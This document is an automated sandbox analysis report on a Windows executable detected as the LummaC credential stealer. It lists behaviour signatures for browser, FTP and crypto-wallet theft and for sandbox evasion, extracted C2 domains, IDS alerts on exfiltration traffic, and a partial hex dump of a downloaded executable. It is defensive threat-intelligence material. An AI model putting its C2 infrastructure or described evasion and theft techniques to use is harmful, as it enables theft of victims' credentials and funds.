Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1558933
MD5:	2d9021d2b87b22f8db44ca359f9838af
SHA1:	4e3376cfa016c0091e2e396255705ac2f401db1c
SHA256:	b11878f626f1edf687231b583380efdba57ee846801ff869f9910aacfcd7b995
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5128 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2D9021D2B87B22F8DB44CA359F9838AF)

chrome.exe (PID: 764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1988,i,5820746288978107784,3213896217040591065,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8064 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1712 --field-trial-handle=2020,i,16253832576636000712,15236952978649801762,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["p10tgrace.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2213320242.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5128	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:05.296071+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-20T00:19:06.308862+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-20T00:19:07.519767+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-20T00:19:08.794450+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-20T00:19:10.101228+0100	2028371	3	Unknown Traffic	192.168.2.6	49715	188.114.97.3	443	TCP
2024-11-20T00:19:11.899282+0100	2028371	3	Unknown Traffic	192.168.2.6	49726	188.114.97.3	443	TCP
2024-11-20T00:19:13.332258+0100	2028371	3	Unknown Traffic	192.168.2.6	49732	188.114.97.3	443	TCP
2024-11-20T00:19:17.099291+0100	2028371	3	Unknown Traffic	192.168.2.6	49759	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:05.750022+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-20T00:19:06.744571+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-20T00:19:17.539339+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49759	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:05.750022+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:06.744571+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49711	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:18.256775+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49765	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T00:19:08.130770+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49712	188.114.97.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.2432117061.0000000006222000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2333438848.0000000008110000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49759 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 23:19:18 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Tue, 19 Nov 2024 22:03:48 GMTConnection: keep-aliveETag: "673d0b44-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 23 7a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 79 7a 77 6b 73 63 76 00 20 2a 00 00 a0 00 00 00 1c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 76 71 67 6c 72 6d 74 00 20 00 00 00 c0 2a 00 00 04 00 00 00 56 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49715 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49726 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49759 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49765 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49787 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
